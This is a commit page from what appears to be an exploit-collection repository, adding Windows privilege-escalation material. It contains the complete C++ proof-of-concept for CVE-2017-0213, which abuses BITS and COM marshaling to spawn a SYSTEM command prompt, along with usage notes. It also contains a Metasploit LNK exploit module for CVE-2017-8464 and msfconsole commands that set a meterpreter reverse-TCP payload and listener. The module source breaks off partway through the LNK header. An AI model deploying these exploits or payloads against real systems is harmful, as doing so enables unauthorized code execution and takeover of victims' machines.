admin/0day
1
0 Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

add windows 提权

Browse Source
This commit is contained in:
helloexp committed 2022-02-24 17:57:42 +08:00
1 parent d118bddb80
commit ee00db5c46
413 files changed
+64849
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

97-Windows提权/CVE-2017-0213/CVE-2017-0213-zcgonvh-master.zip
BIN
View File
Binary file not shown.
97-Windows提权/CVE-2017-0213/CVE-2017-0213.cpp
+764
View File
@@ -0,0 +1,764 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1107
Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP
Platform: Windows 10 10586/14393 not tested 8.1 Update 2
Class: Elevation of Privilege
Summary:
When accessing an OOP COM object using IRemUnknown2 the local unmarshaled proxy can be for a different interface to that requested by QueryInterface resulting in a type confusion which can result in EoP.
Description:
Querying for an IID on a OOP (or remote) COM object calls the ORPC method RemQueryInterface or RemQueryInterface2 on the default proxy. This request is passed to the remote object which queries the implementation object and if successful returns a marshaled representation of that interface to the caller.
The difference between RemQueryInterface and RemQueryInterface2 (RQI2) is how the objects are passed back to the caller. For RemQueryInterface the interface is passed back as a STDOBJREF which only contains the basic OXID/OID/IPID information to connect back. RemQueryInterface2 on the other hand passes back MInterfacePointer structures which is an entire OBJREF. The rationale, as far as I can tell, is that RQI2 is used for implementing in-process handlers, some interfaces can be marshaled using the standard marshaler and others can be custom marshaled. This is exposed through the Aggregate Standard Marshaler.
The bug lies in the implementation of unpacking the results of the the RQI2 request in CStdMarshal::Finish_RemQIAndUnmarshal2. For each MInterfacePointer CStdMarshal::UnmarshalInterface is called passing the IID of the expected interface and the binary data wrapped in an IStream. CStdMarshal::UnmarshalInterface blindly unmarshals the interface, which creates a local proxy object but the proxy is created for the IID in the OBJREF stream and NOT the IID requested in RQI2. No further verification occurs at this point and the created proxy is passed back up the call stack until the received by the caller (through a void** obviously).
If the IID in the OBJREF doesn¡¯t match the IID requested the caller doesn¡¯t know, if it calls any methods on the expected interface it will be calling a type confused object. This could result in crashes in the caller when it tries to access methods on the expected interface which aren¡¯t there or are implemented differently. You could probably also return a standard OBJREF to a object local to the caller, this will result in returning the local object itself which might have more scope for exploiting the type confusion. In order to get the caller to use RQI2 we just need to pass it back an object which is custom marshaled with the Aggregate Standard Marshaler. This will set a flag on the marshaler which indicates to always use the aggregate marshaler which results in using RQI2 instead of RQI. As this class is a core component of COM it¡¯s trusted and so isn¡¯t affected by the EOAC_NO_CUSTOM_MARSHAL setting.
In order to exploit this a different caller needs to call QueryInterface on an object under a less trusted user's control. This could be a more privileged user (such as a sandbox broker), or a privileged service. This is pretty easy pattern to find, any method in an exposed interface on a more trusted COM object which takes an interface pointer or variant would potentially be vulnerable. For example IPersistStream takes an IStream interface pointer and will call methods on it. Another type of method is one of the various notification interfaces such as IBackgroundCopyCallback for BITS. This can probably also be used remotely if the attacker has the opportunity to inject an OBJREF stream into a connection which is set to CONNECT level security (which seems to be the default activation security).
On to exploitation, as you well know I¡¯ve little interest in exploiting memory corruptions, especially as this would either this will trigger CFG on modern systems or would require a very precise lineup of expected method and actual called method which could be tricky to exploit reliably. However I think at least using this to escape a sandbox it might be your only option. So I¡¯m not going to do that, instead I¡¯m going to exploit it logically, the only problem is this is probably unexploitable from a sandbox (maybe) and requires a very specific type of callback into our object.
The thing I¡¯m going to exploit is in the handling of OLE Automation auto-proxy creation from type libraries. When you implement an Automation compatible object you could implement an explicit proxy but if you¡¯ve already got a Type library built from your IDL then OLEAUT32 provides an alternative. If you register your interface with a Proxy CLSID for PSOAInterface or PSDispatch then instead of loading your PS DLL it will load OLEAUT32. The proxy loader code will lookup the interface entry for the passed IID to see if there¡¯s a registered type library associated with it. If there is the code will call LoadTypeLib on that library and look up the interface entry in the type library. It will then construct a custom proxy object based on the type library information.
The trick here is while in general we don¡¯t control the location of the type library (so it¡¯s probably in a location we can write to such as system32) if we can get an object unmarshaled which indicates it¡¯s IID is one of these auto-proxy interfaces while the privileged service is impersonating us we can redirect the C: drive to anywhere we like and so get the service to load an arbitrary type library file instead of a the system one. One easy place where this exact scenario occurs is in the aforementioned BITS SetNotifyInterface function. The service first impersonates the caller before calling QI on the notify interface. We can then return an OBJREF for a automation IID even though the service asked for a BITS callback interface.
So what? Well it¡¯s been known for almost 10 years that the Type library file format is completely unsafe. It was reported and it wasn¡¯t changed, Tombkeeper highlighted this in his ¡°Sexrets [sic] of LoadLibrary¡± presentation at CSW 2015. You can craft a TLB which will directly control EIP. Now you¡¯d assume therefore I¡¯m trading a unreliable way of getting EIP control for one which is much easier, if you assume that you¡¯d be wrong. Instead I¡¯m going to abuse the fact that TLBs can have referenced type libraries, which is used instead of embedding the type definitions inside the TLB itself. When a reference type is loaded the loader will try and look up the TLB by its GUID, if that fails it will take the filename string and pass it verbatim to LoadTypeLib. It¡¯s a lesser know fact that this function, if it fails to find a file with the correct name will try and parse the name as a moniker. Therefore we can insert a scriptlet moniker into the type library, when the auto-proxy generator tries to find how many functions the interface implements it walks the inheritance chain, which causes the referenced TLB to be loaded, which causes a scriptlet moniker to be loaded and bound which results in arbitrary execution in a scripting language inside the privileged COM caller.
The need to replace the C: drive is why this won¡¯t work as a sandbox escape. Also it's a more general technique, not specific to this vulnerability as such, you could exploit it in the low-level NDR marshaler layer, however it¡¯s rare to find something impersonating the caller during the low-level unmarshal. Type libraries are not loaded using the flag added after CVE-2015-1644 which prevent DLLs being loaded from the impersonate device map. I think you might want to fix this as well as there¡¯s other places and scenarios this can occur, for example there¡¯s a number of WMI services (such as anything which touches GPOs) which result in the ActiveDS com object being created, this is automation compatible and so will load a type library while impersonating the caller. Perhaps the auto-proxy generated should temporarily disable impersonation when loading the type library to prevent this happening.
Proof of Concept:
I¡¯ve provided a PoC as a C++ source code file. You need to compile it first. It abuses the BITS SetNotifyInterface to get a type library loaded under impersonation. We cause it to load a type library which references a scriptlet moniker which gets us code execution inside the BITS service.
1) Compile the C++ source code file.
2) Execute the PoC from a directory writable by the current user.
3) An admin command running as local system should appear on the current desktop.
Expected Result:
The caller should realize there¡¯s an IID mismatch and refuse to unmarshal, or at least QI the local proxy for the correct interface.
Observed Result:
The wrong proxy is created to that requested resulting in type confusion and an automation proxy being created resulting in code execution in the BITS server.
*/
// BITSTest.cpp : Defines the entry point for the console application.
//
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <lm.h>
#include <string>
#include <comdef.h>
#include <winternl.h>
#include <Shlwapi.h>
#include <strsafe.h>
#include <vector>
#pragma comment(lib, "shlwapi.lib")
static bstr_t IIDToBSTR(REFIID riid)
{
LPOLESTR str;
bstr_t ret = "Unknown";
if (SUCCEEDED(StringFromIID(riid, &str)))
{
ret = str;
CoTaskMemFree(str);
}
return ret;
}
GUID CLSID_AggStdMarshal2 = { 0x00000027,0x0000,0x0008,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
GUID IID_ITMediaControl = { 0xc445dde8,0x5199,0x4bc7,{ 0x98,0x07,0x5f,0xfb,0x92,0xe4,0x2e,0x09 } };
class CMarshaller : public IMarshal
{
LONG _ref_count;
IUnknownPtr _unk;
~CMarshaller() {}
public:
CMarshaller(IUnknown* unk) : _ref_count(1)
{
_unk = unk;
}
virtual HRESULT STDMETHODCALLTYPE QueryInterface(
/* [in] */ REFIID riid,
/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
{
*ppvObject = nullptr;
printf("QI - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
if (riid == IID_IUnknown)
{
*ppvObject = this;
}
else if (riid == IID_IMarshal)
{
*ppvObject = static_cast<IMarshal*>(this);
}
else
{
return E_NOINTERFACE;
}
printf("Queried Success: %p\n", *ppvObject);
((IUnknown*)*ppvObject)->AddRef();
return S_OK;
}
virtual ULONG STDMETHODCALLTYPE AddRef(void)
{
printf("AddRef: %d\n", _ref_count);
return InterlockedIncrement(&_ref_count);
}
virtual ULONG STDMETHODCALLTYPE Release(void)
{
printf("Release: %d\n", _ref_count);
ULONG ret = InterlockedDecrement(&_ref_count);
if (ret == 0)
{
printf("Release object %p\n", this);
delete this;
}
return ret;
}
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ CLSID *pCid)
{
*pCid = CLSID_AggStdMarshal2;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ DWORD *pSize)
{
*pSize = 1024;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
IID iid = riid;
if (iid == __uuidof(IBackgroundCopyCallback2) || iid == __uuidof(IBackgroundCopyCallback))
{
printf("Setting bad IID\n");
iid = IID_ITMediaControl;
}
HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
printf("Marshal Complete: %08X\n", hr);
return hr;
}
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][out] */
_Outptr_ void **ppv)
{
return E_NOTIMPL;
}
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
/* [annotation][unique][in] */
_In_ IStream *pStm)
{
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
/* [annotation][in] */
_In_ DWORD dwReserved)
{
return S_OK;
}
};
class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
LONG m_lRefCount;
~FakeObject() {};
public:
//Constructor, Destructor
FakeObject() {
m_lRefCount = 1;
}
//IUnknown
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
{
if (riid == __uuidof(IUnknown))
{
printf("Query for IUnknown\n");
*ppvObj = this;
}
else if (riid == __uuidof(IBackgroundCopyCallback2))
{
printf("Query for IBackgroundCopyCallback2\n");
*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);
}
else if (riid == __uuidof(IBackgroundCopyCallback))
{
printf("Query for IBackgroundCopyCallback\n");
*ppvObj = static_cast<IBackgroundCopyCallback*>(this);
}
else if (riid == __uuidof(IPersist))
{
printf("Query for IPersist\n");
*ppvObj = static_cast<IPersist*>(this);
}
else if (riid == IID_ITMediaControl)
{
printf("Query for ITMediaControl\n");
*ppvObj = static_cast<IPersist*>(this);
}
else
{
printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
*ppvObj = NULL;
return E_NOINTERFACE;
}
((IUnknown*)*ppvObj)->AddRef();
return NOERROR;
}
ULONG __stdcall AddRef()
{
return InterlockedIncrement(&m_lRefCount);
}
ULONG __stdcall Release()
{
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount)
{
delete this;
}
return ulCount;
}
virtual HRESULT STDMETHODCALLTYPE JobTransferred(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
{
printf("JobTransferred\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE JobError(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
{
printf("JobError\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE JobModification(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ DWORD dwReserved)
{
printf("JobModification\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE FileTransferred(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
{
printf("FileTransferred\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE GetClassID(
/* [out] */ __RPC__out CLSID *pClassID)
{
*pClassID = GUID_NULL;
return S_OK;
}
};
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
static HRESULT Check(HRESULT hr)
{
if (FAILED(hr))
{
throw _com_error(hr);
}
return hr;
}
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
typedef NTSTATUS(NTAPI* fNtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);
typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
FARPROC GetProcAddressNT(LPCSTR lpName)
{
return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName);
}
class ScopedHandle
{
HANDLE _h;
public:
ScopedHandle() : _h(nullptr)
{
}
ScopedHandle(ScopedHandle&) = delete;
ScopedHandle(ScopedHandle&& h) {
_h = h._h;
h._h = nullptr;
}
~ScopedHandle()
{
if (!invalid())
{
CloseHandle(_h);
_h = nullptr;
}
}
bool invalid() {
return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
}
void set(HANDLE h)
{
_h = h;
}
HANDLE get()
{
return _h;
}
HANDLE* ptr()
{
return &_h;
}
};
ScopedHandle CreateSymlink(LPCWSTR linkname, LPCWSTR targetname)
{
fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString");
fNtCreateSymbolicLinkObject pfNtCreateSymbolicLinkObject = (fNtCreateSymbolicLinkObject)GetProcAddressNT("NtCreateSymbolicLinkObject");
OBJECT_ATTRIBUTES objAttr;
UNICODE_STRING name;
UNICODE_STRING target;
pfRtlInitUnicodeString(&name, linkname);
pfRtlInitUnicodeString(&target, targetname);
InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
ScopedHandle hLink;
NTSTATUS status = pfNtCreateSymbolicLinkObject(hLink.ptr(), SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);
if (status == 0)
{
printf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink.get());
return hLink;
}
else
{
printf("Error creating link %ls: %08X\n", linkname, status);
return ScopedHandle();
}
}
bstr_t GetSystemDrive()
{
WCHAR windows_dir[MAX_PATH] = { 0 };
GetWindowsDirectory(windows_dir, MAX_PATH);
windows_dir[2] = 0;
return windows_dir;
}
bstr_t GetDeviceFromPath(LPCWSTR lpPath)
{
WCHAR drive[3] = { 0 };
drive[0] = lpPath[0];
drive[1] = lpPath[1];
drive[2] = 0;
WCHAR device_name[MAX_PATH] = { 0 };
if (QueryDosDevice(drive, device_name, MAX_PATH))
{
return device_name;
}
else
{
printf("Error getting device for %ls\n", lpPath);
exit(1);
}
}
bstr_t GetSystemDevice()
{
return GetDeviceFromPath(GetSystemDrive());
}
bstr_t GetExe()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
return curr_path;
}
bstr_t GetExeDir()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
PathRemoveFileSpec(curr_path);
return curr_path;
}
bstr_t GetCurrentPath()
{
bstr_t curr_path = GetExeDir();
bstr_t ret = GetDeviceFromPath(curr_path);
ret += &curr_path.GetBSTR()[2];
return ret;
}
void TestBits()
{
IBackgroundCopyManagerPtr pQueueMgr;
Check(CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)));
IUnknownPtr pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject()));
IUnknownPtr pInner;
Check(CoGetStdMarshalEx(pOuter, SMEXF_SERVER, &pInner));
IBackgroundCopyJobPtr pJob;
GUID guidJob;
Check(pQueueMgr->CreateJob(L"BitsAuthSample",
BG_JOB_TYPE_DOWNLOAD,
&guidJob,
&pJob));
IUnknownPtr pNotify;
pNotify.Attach(new CMarshaller(pInner));
{
ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath());
printf("Result: %08X\n", pJob->SetNotifyInterface(pNotify));
}
if (pJob)
{
pJob->Cancel();
}
printf("Done\n");
}
class CoInit
{
public:
CoInit()
{
Check(CoInitialize(nullptr));
Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr,
RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING, nullptr));
}
~CoInit()
{
CoUninitialize();
}
};
// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
static const GUID IID_BaseInterface =
{ 0xd487789c, 0x32a3, 0x4e22,{ 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };
// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
static const GUID TypeLib_BaseInterface =
{ 0x6c6c9f33, 0xae88, 0x4ec2,{ 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };
GUID TypeLib_Tapi3 = { 0x21d6d480,0xa88b,0x11d0,{ 0x83,0xdd,0x00,0xaa,0x00,0x3c,0xca,0xbd } };
void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
{
DeleteFile(filename);
ICreateTypeLib2Ptr tlb;
Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
tlb->SetGuid(typelib_guid);
ITypeInfoPtr ref_type_info;
Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));
ICreateTypeInfoPtr create_info;
Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
HREFTYPE ref_type;
Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
Check(create_info->AddImplType(0, ref_type));
Check(create_info->SetGuid(iid));
Check(tlb->SaveAllChanges());
}
std::vector<BYTE> ReadFile(bstr_t path)
{
ScopedHandle hFile;
hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
if (hFile.invalid())
{
throw _com_error(E_FAIL);
}
DWORD size = GetFileSize(hFile.get(), nullptr);
std::vector<BYTE> ret(size);
if (size > 0)
{
DWORD bytes_read;
if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
{
throw _com_error(E_FAIL);
}
}
return ret;
}
void WriteFile(bstr_t path, const std::vector<BYTE> data)
{
ScopedHandle hFile;
hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
if (hFile.invalid())
{
throw _com_error(E_FAIL);
}
if (data.size() > 0)
{
DWORD bytes_written;
if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
{
throw _com_error(E_FAIL);
}
}
}
void WriteFile(bstr_t path, const char* data)
{
const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
WriteFile(path, data_buf);
}
void BuildTypeLibs(LPCSTR script_path)
{
ITypeLibPtr stdole2;
Check(LoadTypeLib(L"stdole2.tlb", &stdole2));
printf("Building Library with path: %s\n", script_path);
unsigned int len = strlen(script_path);
bstr_t buf = GetExeDir() + L"\\";
for (unsigned int i = 0; i < len; ++i)
{
buf += L"A";
}
Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
ITypeLibPtr abc;
Check(LoadTypeLib(buf, &abc));
bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
Create(built_tlb, "ITMediaControl", TypeLib_Tapi3, IID_ITMediaControl, abc, IID_BaseInterface);
std::vector<BYTE> tlb_data = ReadFile(built_tlb);
for (size_t i = 0; i < tlb_data.size() - len; ++i)
{
bool found = true;
for (unsigned int j = 0; j < len; j++)
{
if (tlb_data[i + j] != 'A')
{
found = false;
}
}
if (found)
{
printf("Found TLB name at offset %zu\n", i);
memcpy(&tlb_data[i], script_path, len);
break;
}
}
CreateDirectory(GetExeDir() + L"\\Windows", nullptr);
CreateDirectory(GetExeDir() + L"\\Windows\\System32", nullptr);
bstr_t target_tlb = GetExeDir() + L"\\Windows\\system32\\tapi3.dll";
WriteFile(target_tlb, tlb_data);
}
const wchar_t x[] = L"ABC";
const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
"</registration>\r\n"\
"<script language='JScript'>\r\n"\
"<![CDATA[\r\n"\
" new ActiveXObject('Wscript.Shell').exec('";
const wchar_t scriptlet_end[] = L"');\r\n"\
"]]>\r\n"\
"</script>\r\n"\
"</component>\r\n"\
"</package>\r\n";
bstr_t CreateScriptletFile()
{
bstr_t script_file = GetExeDir() + L"\\run.sct";
bstr_t script_data = scriptlet_start;
bstr_t exe_file = GetExe();
wchar_t* p = exe_file;
while (*p)
{
if (*p == '\\')
{
*p = '/';
}
p++;
}
DWORD session_id;
ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
WCHAR session_str[16];
StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);
script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;
WriteFile(script_file, script_data);
return script_file;
}
void CreateNewProcess(const wchar_t* session)
{
DWORD session_id = wcstoul(session, nullptr, 0);
ScopedHandle token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
{
throw _com_error(E_FAIL);
}
ScopedHandle new_token;
if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
{
throw _com_error(E_FAIL);
}
SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));
STARTUPINFO start_info = {};
start_info.cb = sizeof(start_info);
start_info.lpDesktop = L"WinSta0\\Default";
PROCESS_INFORMATION proc_info;
WCHAR cmdline[] = L"cmd.exe";
if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
{
CloseHandle(proc_info.hProcess);
CloseHandle(proc_info.hThread);
}
}
int wmain(int argc, wchar_t** argv)
{
try
{
CoInit ci;
if (argc > 1)
{
CreateNewProcess(argv[1]);
}
else
{
bstr_t script = L"script:" + CreateScriptletFile();
BuildTypeLibs(script);
TestBits();
}
}
catch (const _com_error& err)
{
printf("Error: %ls\n", err.ErrorMessage());
}
return 0;
}
97-Windows提权/CVE-2017-0213/CVE-2017-0213_x64.zip
BIN
View File
Binary file not shown.
97-Windows提权/CVE-2017-0213/CVE-2017-0213_x86.zip
BIN
View File
Binary file not shown.
97-Windows提权/CVE-2017-0213/README.md
+33
View File
@@ -0,0 +1,33 @@
# CVE-2017-0213
Windows COM Elevation of Privilege Vulnerability
**Description**
```
An elevation of privilege exists in Windows COM Aggregate Marshaler.
An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges.
To exploit the vulnerability, an attacker could run a specially crafted application that could exploit the vulnerability.
This vulnerability by itself does not allow arbitrary code to be run.
However, this vulnerability could be used in conjunction with one or more vulnerabilities (e.g. a remote code execution vulnerability and another elevation of privilege) that could take advantage of the elevated privileges when running.
The update addresses the vulnerability by correcting how Windows COM Marshaler processes interface requests.
```
- The exp was from [@WindowsExploits](https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213/Source)
Vulnerability reference:
* [CVE-2017-0213](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0213)
* [exp-db](https://www.exploit-db.com/exploits/42020/)
## Usage
- [YouTube-CVE 2017-0213](https://www.youtube.com/watch?v=6naFH9MQHy8)  
```
c:\> CVE-2017-0213_x64.exe
```
![win10](win10.png)
## References
- [Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP](https://bugs.chromium.org/p/project-zero/issues/detail?id=1107)
- [Microsoft](https://portal.msrc.microsoft.com/en-US/eula)
97-Windows提权/CVE-2017-0213/win10.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 55 KiB

97-Windows提权/CVE-2017-8464/README.md
+30
View File
@@ -0,0 +1,30 @@
# CVE-2017-8464
```
Windows Shell in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1,
Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016
allows local users or remote attackers to execute arbitrary code via a crafted .LNK file, which is not properly handled
during icon display in Windows Explorer or any other application that parses the icon of the shortcut.
aka "LNK Remote Code Execution Vulnerability."
```
Vulnerability reference:
* [CVE-2017-8464](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8464)
* [exp-db](https://www.exploit-db.com/exploits/42382/)
## load the module within the Metasploit
[msf](https://www.rapid7.com/db/modules/exploit/windows/local/ms10_092_schelevator)
```
msf > use exploit/windows/fileformat/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set lhost <local-ip>
msf exploit(cve_2017_8464_lnk_rce) > set lport 8988
msf exploit(cve_2017_8464_lnk_rce) > run
msf exploit(ms10_092_schelevator) > exploit
msf exploit(cve_2017_8464_lnk_rce) > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost <local-ip>
msf exploit(handler) > set lport 8988
msf exploit(handler) > run
```
97-Windows提权/CVE-2017-8464/cve_2017_8464_lnk_rce.rb
+177
View File
@@ -0,0 +1,177 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
attr_accessor :exploit_dll_name
def initialize(info = {})
super(update_info(info,
'Name' => 'LNK Remote Code Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
that contain a dynamic icon, loaded from a malicious DLL.
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
similar except in an additional SpecialFolderDataBlock is included. The folder ID set
in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
DLL file.
},
'Author' =>
[
'Uncredited', # vulnerability discovery
'Yorick Koster' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8464'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
['URL', 'http://paper.seebug.org/357/'], # writeup
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0, # Default target is 64-bit
'DisclosureDate' => 'Jun 13 2017'))
register_advanced_options(
[
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
])
end
def exploit
dll = generate_payload_dll
dll_name = "#{rand_text_alpha(16)}.dll"
dll_path = store_file(dll, dll_name)
print_status("#{dll_path} created copy it to the root folder of the target USB drive")
# HACK the vulnerability doesn't appear to work with UNC paths
# Create LNK files to different drives instead
'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i|
lnk = generate_link("#{i}:\\#{dll_name}")
lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk")
print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}")
end
end
def generate_link(path)
path << "\x00"
display_name = "Flash Player\x00" # LNK Display Name
comment = "\x00"
# Control Panel Applet ItemID with our DLL
cpl_applet = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
].pack('C*')
cpl_applet << [path.length].pack('v')
cpl_applet << [display_name.length].pack('v')
cpl_applet << path.unpack('C*').pack('v*')
cpl_applet << display_name.unpack('C*').pack('v*')
cpl_applet << comment.unpack('C*').pack('v*')
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
